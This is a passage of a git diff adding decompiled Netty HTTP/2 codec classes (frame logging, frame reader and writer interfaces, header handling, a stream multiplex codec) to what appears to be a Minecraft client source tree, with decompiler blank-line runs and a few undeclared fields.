+      log(direction, "%s PUSH_PROMISE: streamId=%d, promisedStreamId=%d, headers=%s, padding=%d", new Object[] { ctx.channel(), Integer.valueOf(streamId), Integer.valueOf(promisedStreamId), headers, Integer.valueOf(padding) });
+    }
+  }
+  
+
+  public void logGoAway(Direction direction, ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData)
+  {
+    if (enabled()) {
+      log(direction, "%s GO_AWAY: lastStreamId=%d, errorCode=%d, length=%d, bytes=%s", new Object[] { ctx.channel(), Integer.valueOf(lastStreamId), Long.valueOf(errorCode), Integer.valueOf(debugData.readableBytes()), toString(debugData) });
+    }
+  }
+  
+
+  public void logWindowsUpdate(Direction direction, ChannelHandlerContext ctx, int streamId, int windowSizeIncrement)
+  {
+    if (enabled()) {
+      log(direction, "%s WINDOW_UPDATE: streamId=%d, windowSizeIncrement=%d", new Object[] { ctx.channel(), Integer.valueOf(streamId), Integer.valueOf(windowSizeIncrement) });
+    }
+  }
+  
+
+  public void logUnknownFrame(Direction direction, ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf data)
+  {
+    if (enabled()) {
+      log(direction, "%s UNKNOWN: frameType=%d, streamId=%d, flags=%d, length=%d, bytes=%s", new Object[] { ctx.channel(), Integer.valueOf(frameType & 0xFF), Integer.valueOf(streamId), Short.valueOf(flags.value()), Integer.valueOf(data.readableBytes()), toString(data) });
+    }
+  }
+  
+  private boolean enabled()
+  {
+    return logger.isEnabled(level);
+  }
+  
+  private String toString(ByteBuf buf) {
+    if ((level == InternalLogLevel.TRACE) || (buf.readableBytes() <= 64))
+    {
+      return ByteBufUtil.hexDump(buf);
+    }
+    
+
+    int length = Math.min(buf.readableBytes(), 64);
+    return ByteBufUtil.hexDump(buf, buf.readerIndex(), length) + "...";
+  }
+  
+  private void log(Direction direction, String format, Object... args) {
+    StringBuilder b = new StringBuilder(200);
+    b.append("\n----------------").append(direction.name()).append("--------------------\n").append(String.format(format, args)).append("\n------------------------------------");
+    
+
+
+
+    logger.log(level, b.toString());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameReader.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameReader.java
new file mode 100644
index 0000000..97f5455
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameReader.java
@@ -0,0 +1,23 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import java.io.Closeable;
+
+public abstract interface Http2FrameReader
+  extends Closeable
+{
+  public abstract void readFrame(ChannelHandlerContext paramChannelHandlerContext, ByteBuf paramByteBuf, Http2FrameListener paramHttp2FrameListener)
+    throws Http2Exception;
+  
+  public abstract Configuration configuration();
+  
+  public abstract void close();
+  
+  public static abstract interface Configuration
+  {
+    public abstract Http2HeaderTable headerTable();
+    
+    public abstract Http2FrameSizePolicy frameSizePolicy();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameSizePolicy.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameSizePolicy.java
new file mode 100644
index 0000000..a4e5e18
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameSizePolicy.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2FrameSizePolicy
+{
+  public abstract void maxFrameSize(int paramInt)
+    throws Http2Exception;
+  
+  public abstract int maxFrameSize();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameTypes.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameTypes.java
new file mode 100644
index 0000000..23e9166
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameTypes.java
@@ -0,0 +1,17 @@
+package io.netty.handler.codec.http2;
+
+public final class Http2FrameTypes
+{
+  public static final byte DATA = 0;
+  public static final byte HEADERS = 1;
+  public static final byte PRIORITY = 2;
+  public static final byte RST_STREAM = 3;
+  public static final byte SETTINGS = 4;
+  public static final byte PUSH_PROMISE = 5;
+  public static final byte PING = 6;
+  public static final byte GO_AWAY = 7;
+  public static final byte WINDOW_UPDATE = 8;
+  public static final byte CONTINUATION = 9;
+  
+  private Http2FrameTypes() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameWriter.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameWriter.java
new file mode 100644
index 0000000..affaaee
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameWriter.java
@@ -0,0 +1,44 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import java.io.Closeable;
+
+public abstract interface Http2FrameWriter
+  extends Http2DataWriter, Closeable
+{
+  public abstract ChannelFuture writeHeaders(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, Http2Headers paramHttp2Headers, int paramInt2, boolean paramBoolean, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeHeaders(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, Http2Headers paramHttp2Headers, int paramInt2, short paramShort, boolean paramBoolean1, int paramInt3, boolean paramBoolean2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writePriority(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, int paramInt2, short paramShort, boolean paramBoolean, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeRstStream(ChannelHandlerContext paramChannelHandlerContext, int paramInt, long paramLong, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeSettings(ChannelHandlerContext paramChannelHandlerContext, Http2Settings paramHttp2Settings, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeSettingsAck(ChannelHandlerContext paramChannelHandlerContext, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writePing(ChannelHandlerContext paramChannelHandlerContext, boolean paramBoolean, ByteBuf paramByteBuf, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writePushPromise(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, int paramInt2, Http2Headers paramHttp2Headers, int paramInt3, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeGoAway(ChannelHandlerContext paramChannelHandlerContext, int paramInt, long paramLong, ByteBuf paramByteBuf, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeWindowUpdate(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, int paramInt2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeFrame(ChannelHandlerContext paramChannelHandlerContext, byte paramByte, int paramInt, Http2Flags paramHttp2Flags, ByteBuf paramByteBuf, ChannelPromise paramChannelPromise);
+  
+  public abstract Configuration configuration();
+  
+  public abstract void close();
+  
+  public static abstract interface Configuration
+  {
+    public abstract Http2HeaderTable headerTable();
+    
+    public abstract Http2FrameSizePolicy frameSizePolicy();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2GoAwayFrame.java b/src/minecraft/io/netty/handler/codec/http2/Http2GoAwayFrame.java
new file mode 100644
index 0000000..c4d819f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2GoAwayFrame.java
@@ -0,0 +1,34 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface Http2GoAwayFrame
+  extends Http2Frame, ByteBufHolder
+{
+  public abstract long errorCode();
+  
+  public abstract int extraStreamIds();
+  
+  public abstract Http2GoAwayFrame setExtraStreamIds(int paramInt);
+  
+  public abstract int lastStreamId();
+  
+  public abstract ByteBuf content();
+  
+  public abstract Http2GoAwayFrame copy();
+  
+  public abstract Http2GoAwayFrame duplicate();
+  
+  public abstract Http2GoAwayFrame retainedDuplicate();
+  
+  public abstract Http2GoAwayFrame replace(ByteBuf paramByteBuf);
+  
+  public abstract Http2GoAwayFrame retain();
+  
+  public abstract Http2GoAwayFrame retain(int paramInt);
+  
+  public abstract Http2GoAwayFrame touch();
+  
+  public abstract Http2GoAwayFrame touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2HeaderTable.java b/src/minecraft/io/netty/handler/codec/http2/Http2HeaderTable.java
new file mode 100644
index 0000000..7da3a74
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2HeaderTable.java
@@ -0,0 +1,14 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2HeaderTable
+{
+  public abstract void maxHeaderTableSize(long paramLong)
+    throws Http2Exception;
+  
+  public abstract long maxHeaderTableSize();
+  
+  public abstract void maxHeaderListSize(long paramLong)
+    throws Http2Exception;
+  
+  public abstract long maxHeaderListSize();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Headers.java b/src/minecraft/io/netty/handler/codec/http2/Http2Headers.java
new file mode 100644
index 0000000..0887f33
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Headers.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.handler.codec.Headers;
+import io.netty.util.AsciiString;
+import java.util.Iterator;
+import java.util.Map.Entry;
+
+
+
+
+public abstract interface Http2Headers
+  extends Headers<CharSequence, CharSequence, Http2Headers>
+{
+  public abstract Iterator<Map.Entry<CharSequence, CharSequence>> iterator();
+  
+  public abstract Http2Headers method(CharSequence paramCharSequence);
+  
+  public abstract Http2Headers scheme(CharSequence paramCharSequence);
+  
+  public abstract Http2Headers authority(CharSequence paramCharSequence);
+  
+  public abstract Http2Headers path(CharSequence paramCharSequence);
+  
+  public abstract Http2Headers status(CharSequence paramCharSequence);
+  
+  public abstract CharSequence method();
+  
+  public abstract CharSequence scheme();
+  
+  public abstract CharSequence authority();
+  
+  public abstract CharSequence path();
+  
+  public abstract CharSequence status();
+  
+  public static enum PseudoHeaderName
+  {
+    METHOD(":method"), 
+    
+
+
+
+    SCHEME(":scheme"), 
+    
+
+
+
+    AUTHORITY(":authority"), 
+    
+
+
+
+    PATH(":path"), 
+    
+
+
+
+    STATUS(":status");
+    
+    static {
+      PSEUDO_HEADERS = new CharSequenceMap();
+      
+      for (PseudoHeaderName pseudoHeader : values()) {
+        PSEUDO_HEADERS.add(pseudoHeader.value(), AsciiString.EMPTY_STRING);
+      }
+    }
+    
+    private PseudoHeaderName(String value) {
+      this.value = new AsciiString(value);
+    }
+    
+    public AsciiString value()
+    {
+      return value;
+    }
+    
+    private final AsciiString value;
+    private static final CharSequenceMap<AsciiString> PSEUDO_HEADERS;
+    public static boolean isPseudoHeader(CharSequence header)
+    {
+      return PSEUDO_HEADERS.contains(header);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2HeadersDecoder.java b/src/minecraft/io/netty/handler/codec/http2/Http2HeadersDecoder.java
new file mode 100644
index 0000000..c94bf21
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2HeadersDecoder.java
@@ -0,0 +1,16 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+
+public abstract interface Http2HeadersDecoder
+{
+  public abstract Http2Headers decodeHeaders(int paramInt, ByteBuf paramByteBuf)
+    throws Http2Exception;
+  
+  public abstract Configuration configuration();
+  
+  public static abstract interface Configuration
+  {
+    public abstract Http2HeaderTable headerTable();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2HeadersEncoder.java b/src/minecraft/io/netty/handler/codec/http2/Http2HeadersEncoder.java
new file mode 100644
index 0000000..b008eb3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2HeadersEncoder.java
@@ -0,0 +1,101 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Http2HeadersEncoder
+{
+  public static final SensitivityDetector NEVER_SENSITIVE = new SensitivityDetector()
+  {
+    public boolean isSensitive(CharSequence name, CharSequence value) {
+      return false;
+    }
+  };
+  
+
+
+
+  public static final SensitivityDetector ALWAYS_SENSITIVE = new SensitivityDetector()
+  {
+    public boolean isSensitive(CharSequence name, CharSequence value) {
+      return true;
+    }
+  };
+  
+  public abstract void encodeHeaders(Http2Headers paramHttp2Headers, ByteBuf paramByteBuf)
+    throws Http2Exception;
+  
+  public abstract Configuration configuration();
+  
+  public static abstract interface SensitivityDetector
+  {
+    public abstract boolean isSensitive(CharSequence paramCharSequence1, CharSequence paramCharSequence2);
+  }
+  
+  public static abstract interface Configuration
+  {
+    public abstract Http2HeaderTable headerTable();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2HeadersFrame.java b/src/minecraft/io/netty/handler/codec/http2/Http2HeadersFrame.java
new file mode 100644
index 0000000..b5f2fe0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2HeadersFrame.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2HeadersFrame
+  extends Http2StreamFrame
+{
+  public abstract Http2Headers headers();
+  
+  public abstract boolean isEndStream();
+  
+  public abstract int padding();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2InboundFrameLogger.java b/src/minecraft/io/netty/handler/codec/http2/Http2InboundFrameLogger.java
new file mode 100644
index 0000000..7e60a0c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2InboundFrameLogger.java
@@ -0,0 +1,147 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2InboundFrameLogger
+  implements Http2FrameReader
+{
+  private final Http2FrameReader reader;
+  private final Http2FrameLogger logger;
+  
+  public Http2InboundFrameLogger(Http2FrameReader reader, Http2FrameLogger logger)
+  {
+    this.reader = ((Http2FrameReader)ObjectUtil.checkNotNull(reader, "reader"));
+    this.logger = ((Http2FrameLogger)ObjectUtil.checkNotNull(logger, "logger"));
+  }
+  
+  public void readFrame(ChannelHandlerContext ctx, ByteBuf input, final Http2FrameListener listener)
+    throws Http2Exception
+  {
+    reader.readFrame(ctx, input, new Http2FrameListener()
+    {
+
+      public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+        throws Http2Exception
+      {
+        logger.logData(Http2FrameLogger.Direction.INBOUND, ctx, streamId, data, padding, endOfStream);
+        return listener.onDataRead(ctx, streamId, data, padding, endOfStream);
+      }
+      
+
+      public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream)
+        throws Http2Exception
+      {
+        logger.logHeaders(Http2FrameLogger.Direction.INBOUND, ctx, streamId, headers, padding, endStream);
+        listener.onHeadersRead(ctx, streamId, headers, padding, endStream);
+      }
+      
+
+      public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream)
+        throws Http2Exception
+      {
+        logger.logHeaders(Http2FrameLogger.Direction.INBOUND, ctx, streamId, headers, streamDependency, weight, exclusive, padding, endStream);
+        
+        listener.onHeadersRead(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endStream);
+      }
+      
+
+      public void onPriorityRead(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+        throws Http2Exception
+      {
+        logger.logPriority(Http2FrameLogger.Direction.INBOUND, ctx, streamId, streamDependency, weight, exclusive);
+        listener.onPriorityRead(ctx, streamId, streamDependency, weight, exclusive);
+      }
+      
+      public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode)
+        throws Http2Exception
+      {
+        logger.logRstStream(Http2FrameLogger.Direction.INBOUND, ctx, streamId, errorCode);
+        listener.onRstStreamRead(ctx, streamId, errorCode);
+      }
+      
+      public void onSettingsAckRead(ChannelHandlerContext ctx) throws Http2Exception
+      {
+        logger.logSettingsAck(Http2FrameLogger.Direction.INBOUND, ctx);
+        listener.onSettingsAckRead(ctx);
+      }
+      
+      public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings)
+        throws Http2Exception
+      {
+        logger.logSettings(Http2FrameLogger.Direction.INBOUND, ctx, settings);
+        listener.onSettingsRead(ctx, settings);
+      }
+      
+      public void onPingRead(ChannelHandlerContext ctx, ByteBuf data) throws Http2Exception
+      {
+        logger.logPing(Http2FrameLogger.Direction.INBOUND, ctx, data);
+        listener.onPingRead(ctx, data);
+      }
+      
+      public void onPingAckRead(ChannelHandlerContext ctx, ByteBuf data) throws Http2Exception
+      {
+        logger.logPingAck(Http2FrameLogger.Direction.INBOUND, ctx, data);
+        listener.onPingAckRead(ctx, data);
+      }
+      
+      public void onPushPromiseRead(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+        throws Http2Exception
+      {
+        logger.logPushPromise(Http2FrameLogger.Direction.INBOUND, ctx, streamId, promisedStreamId, headers, padding);
+        listener.onPushPromiseRead(ctx, streamId, promisedStreamId, headers, padding);
+      }
+      
+      public void onGoAwayRead(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData)
+        throws Http2Exception
+      {
+        logger.logGoAway(Http2FrameLogger.Direction.INBOUND, ctx, lastStreamId, errorCode, debugData);
+        listener.onGoAwayRead(ctx, lastStreamId, errorCode, debugData);
+      }
+      
+      public void onWindowUpdateRead(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement)
+        throws Http2Exception
+      {
+        logger.logWindowsUpdate(Http2FrameLogger.Direction.INBOUND, ctx, streamId, windowSizeIncrement);
+        listener.onWindowUpdateRead(ctx, streamId, windowSizeIncrement);
+      }
+      
+      public void onUnknownFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload)
+        throws Http2Exception
+      {
+        logger.logUnknownFrame(Http2FrameLogger.Direction.INBOUND, ctx, frameType, streamId, flags, payload);
+        listener.onUnknownFrame(ctx, frameType, streamId, flags, payload);
+      }
+    });
+  }
+  
+  public void close()
+  {
+    reader.close();
+  }
+  
+  public Http2FrameReader.Configuration configuration()
+  {
+    return reader.configuration();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2LifecycleManager.java b/src/minecraft/io/netty/handler/codec/http2/Http2LifecycleManager.java
new file mode 100644
index 0000000..8e8998b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2LifecycleManager.java
@@ -0,0 +1,21 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+
+public abstract interface Http2LifecycleManager
+{
+  public abstract void closeStreamLocal(Http2Stream paramHttp2Stream, ChannelFuture paramChannelFuture);
+  
+  public abstract void closeStreamRemote(Http2Stream paramHttp2Stream, ChannelFuture paramChannelFuture);
+  
+  public abstract void closeStream(Http2Stream paramHttp2Stream, ChannelFuture paramChannelFuture);
+  
+  public abstract ChannelFuture resetStream(ChannelHandlerContext paramChannelHandlerContext, int paramInt, long paramLong, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture goAway(ChannelHandlerContext paramChannelHandlerContext, int paramInt, long paramLong, ByteBuf paramByteBuf, ChannelPromise paramChannelPromise);
+  
+  public abstract void onError(ChannelHandlerContext paramChannelHandlerContext, Throwable paramThrowable);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2LocalFlowController.java b/src/minecraft/io/netty/handler/codec/http2/Http2LocalFlowController.java
new file mode 100644
index 0000000..15c8a7b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2LocalFlowController.java
@@ -0,0 +1,19 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+
+public abstract interface Http2LocalFlowController
+  extends Http2FlowController
+{
+  public abstract Http2LocalFlowController frameWriter(Http2FrameWriter paramHttp2FrameWriter);
+  
+  public abstract void receiveFlowControlledFrame(Http2Stream paramHttp2Stream, ByteBuf paramByteBuf, int paramInt, boolean paramBoolean)
+    throws Http2Exception;
+  
+  public abstract boolean consumeBytes(Http2Stream paramHttp2Stream, int paramInt)
+    throws Http2Exception;
+  
+  public abstract int unconsumedBytes(Http2Stream paramHttp2Stream);
+  
+  public abstract int initialWindowSize(Http2Stream paramHttp2Stream);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2MultiplexCodec.java b/src/minecraft/io/netty/handler/codec/http2/Http2MultiplexCodec.java
new file mode 100644
index 0000000..46dd063
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2MultiplexCodec.java
@@ -0,0 +1,468 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.EventLoopGroup;
+import io.netty.handler.codec.UnsupportedMessageTypeException;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.collection.IntObjectHashMap;
+import io.netty.util.collection.IntObjectMap;
+import io.netty.util.collection.IntObjectMap.PrimitiveEntry;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Http2MultiplexCodec
+  extends ChannelDuplexHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(Http2MultiplexCodec.class);
+  
+  private final Http2StreamChannelBootstrap bootstrap;
+  
+  private final List<Http2StreamChannel> channelsToFireChildReadComplete = new ArrayList();
+  
+  private final boolean server;
+  private ChannelHandlerContext ctx;
+  private volatile Runnable flushTask;
+  private final IntObjectMap<Http2StreamChannel> childChannels = new IntObjectHashMap();
+  
+
+
+
+
+
+  public Http2MultiplexCodec(boolean server, Http2StreamChannelBootstrap bootstrap)
+  {
+    if (bootstrap.parentChannel() != null) {
+      throw new IllegalStateException("The parent channel must not be set on the bootstrap.");
+    }
+    this.server = server;
+    this.bootstrap = new Http2StreamChannelBootstrap(bootstrap);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx)
+  {
+    this.ctx = ctx;
+    bootstrap.parentChannel(ctx.channel());
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+  {
+    if (!(cause instanceof Http2Exception.StreamException)) {
+      ctx.fireExceptionCaught(cause);
+      return;
+    }
+    
+    Http2Exception.StreamException streamEx = (Http2Exception.StreamException)cause;
+    try {
+      Http2StreamChannel childChannel = (Http2StreamChannel)childChannels.get(streamEx.streamId());
+      if (childChannel != null) {
+        childChannel.pipeline().fireExceptionCaught(streamEx);
+      } else {
+        logger.warn(String.format("Exception caught for unknown HTTP/2 stream '%d'", new Object[] { Integer.valueOf(streamEx.streamId()) }), streamEx);
+      }
+    }
+    finally {
+      onStreamClosed(streamEx.streamId());
+    }
+  }
+  
+
+  public void flush(ChannelHandlerContext ctx)
+  {
+    ctx.flush();
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    if (!(msg instanceof Http2Frame)) {
+      ctx.fireChannelRead(msg);
+      return;
+    }
+    if ((msg instanceof Http2StreamFrame)) {
+      Http2StreamFrame frame = (Http2StreamFrame)msg;
+      int streamId = frame.streamId();
+      Http2StreamChannel childChannel = (Http2StreamChannel)childChannels.get(streamId);
+      if (childChannel == null)
+      {
+        ReferenceCountUtil.release(msg);
+        throw new Http2Exception.StreamException(streamId, Http2Error.STREAM_CLOSED, String.format("Received %s frame for an unknown stream %d", new Object[] { frame.name(), Integer.valueOf(streamId) }));
+      }
+      
+      fireChildReadAndRegister(childChannel, frame);
+    } else if ((msg instanceof Http2GoAwayFrame)) {
+      Http2GoAwayFrame goAwayFrame = (Http2GoAwayFrame)msg;
+      for (IntObjectMap.PrimitiveEntry<Http2StreamChannel> entry : childChannels.entries()) {
+        Http2StreamChannel childChannel = (Http2StreamChannel)entry.value();
+        int streamId = entry.key();
+        if ((streamId > goAwayFrame.lastStreamId()) && (Http2CodecUtil.isOutboundStream(server, streamId))) {
+          childChannel.pipeline().fireUserEventTriggered(goAwayFrame.retainedDuplicate());
+        }
+      }
+      goAwayFrame.release();
+    }
+    else {
+      ReferenceCountUtil.release(msg);
+      throw new UnsupportedMessageTypeException(msg, new Class[0]);
+    }
+  }
+  
+
+  private void fireChildReadAndRegister(Http2StreamChannel childChannel, Http2StreamFrame frame)
+  {
+    childChannel.fireChildRead(frame);
+    if (!inStreamsToFireChildReadComplete) {
+      channelsToFireChildReadComplete.add(childChannel);
+      inStreamsToFireChildReadComplete = true;
+    }
+  }
+  
+  public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception
+  {
+    if ((evt instanceof Http2StreamActiveEvent)) {
+      Http2StreamActiveEvent activeEvent = (Http2StreamActiveEvent)evt;
+      onStreamActive(activeEvent.streamId(), activeEvent.headers());
+    } else if ((evt instanceof Http2StreamClosedEvent)) {
+      onStreamClosed(((Http2StreamClosedEvent)evt).streamId());
+    } else {
+      ctx.fireUserEventTriggered(evt);
+    }
+  }
+  
+  private void onStreamActive(int streamId, Http2HeadersFrame headersFrame) {
+    Http2StreamChannel childChannel;
+    if (Http2CodecUtil.isOutboundStream(server, streamId)) {
+      if (!(headersFrame instanceof ChannelCarryingHeadersFrame)) {
+        throw new IllegalArgumentException("needs to be wrapped");
+      }
+      Http2StreamChannel childChannel = ((ChannelCarryingHeadersFrame)headersFrame).channel();
+      childChannel.streamId(streamId);
+    } else {
+      ChannelFuture future = bootstrap.connect(streamId);
+      childChannel = (Http2StreamChannel)future.channel();
+    }
+    
+    Http2StreamChannel existing = (Http2StreamChannel)childChannels.put(streamId, childChannel);
+    assert (existing == null);
+  }
+  
+  private void onStreamClosed(int streamId) {
+    final Http2StreamChannel childChannel = (Http2StreamChannel)childChannels.remove(streamId);
+    if (childChannel != null) {
+      EventLoop eventLoop = childChannel.eventLoop();
+      if (eventLoop.inEventLoop()) {
+        onStreamClosed0(childChannel);
+      } else {
+        eventLoop.execute(new Runnable()
+        {
+          public void run() {
+            Http2MultiplexCodec.this.onStreamClosed0(childChannel);
+          }
+        });
+      }
+    }
+  }
+  
+  private void onStreamClosed0(Http2StreamChannel childChannel) {
+    assert (childChannel.eventLoop().inEventLoop());
+    
+    onStreamClosedFired = true;
+    childChannel.fireChildRead(AbstractHttp2StreamChannel.CLOSE_MESSAGE);
+  }
+  
+  void flushFromStreamChannel() {
+    EventExecutor executor = ctx.executor();
+    if (executor.inEventLoop()) {
+      flush(ctx);
+    } else {
+      Runnable task = flushTask;
+      if (task == null) {
+        task = this.flushTask = new Runnable()
+        {
+          public void run() {
+            flush(ctx);
+          }
+        };
+      }
+      executor.execute(task);
+    }
+  }
+  
+  void writeFromStreamChannel(Object msg, boolean flush) {
+    writeFromStreamChannel(msg, ctx.newPromise(), flush);
+  }
+  
+  void writeFromStreamChannel(final Object msg, final ChannelPromise promise, final boolean flush) {
+    EventExecutor executor = ctx.executor();
+    if (executor.inEventLoop()) {
+      writeFromStreamChannel0(msg, flush, promise);
+    } else {
+      try {
+        executor.execute(new Runnable()
+        {
+          public void run() {
+            Http2MultiplexCodec.this.writeFromStreamChannel0(msg, flush, promise);
+          }
+        });
+      } catch (Throwable cause) {
+        promise.setFailure(cause);
+      }
+    }
+  }
+  
+  private void writeFromStreamChannel0(Object msg, boolean flush, ChannelPromise promise) {
+    try {
+      write(ctx, msg, promise);
+    } catch (Throwable cause) {
+      promise.tryFailure(cause);
+    }
+    if (flush) {
+      flush(ctx);
+    }
+  }
+  
+
+
+
+  public void channelReadComplete(ChannelHandlerContext ctx)
+  {
+    for (int i = 0; i < channelsToFireChildReadComplete.size(); i++) {
+      Http2StreamChannel childChannel = (Http2StreamChannel)channelsToFireChildReadComplete.get(i);
+      
+      inStreamsToFireChildReadComplete = false;
+      childChannel.fireChildReadComplete();
+    }
+    channelsToFireChildReadComplete.clear();
+  }
+  
+
+
+  ChannelFuture createStreamChannel(Channel parentChannel, EventLoopGroup group, ChannelHandler handler, Map<ChannelOption<?>, Object> options, Map<AttributeKey<?>, Object> attrs, int streamId)
+  {
+    Http2StreamChannel channel = new Http2StreamChannel(parentChannel);
+    if (Http2CodecUtil.isStreamIdValid(streamId)) {
+      assert (!Http2CodecUtil.isOutboundStream(server, streamId));
+      assert (ctx.channel().eventLoop().inEventLoop());
+      channel.streamId(streamId);
+    }
+    channel.pipeline().addLast(new ChannelHandler[] { handler });
+    
+    initOpts(channel, options);
+    initAttrs(channel, attrs);
+    
+    ChannelFuture future = group.register(channel);
+    
+
+
+    if (future.cause() != null) {
+      if (channel.isRegistered()) {
+        channel.close();
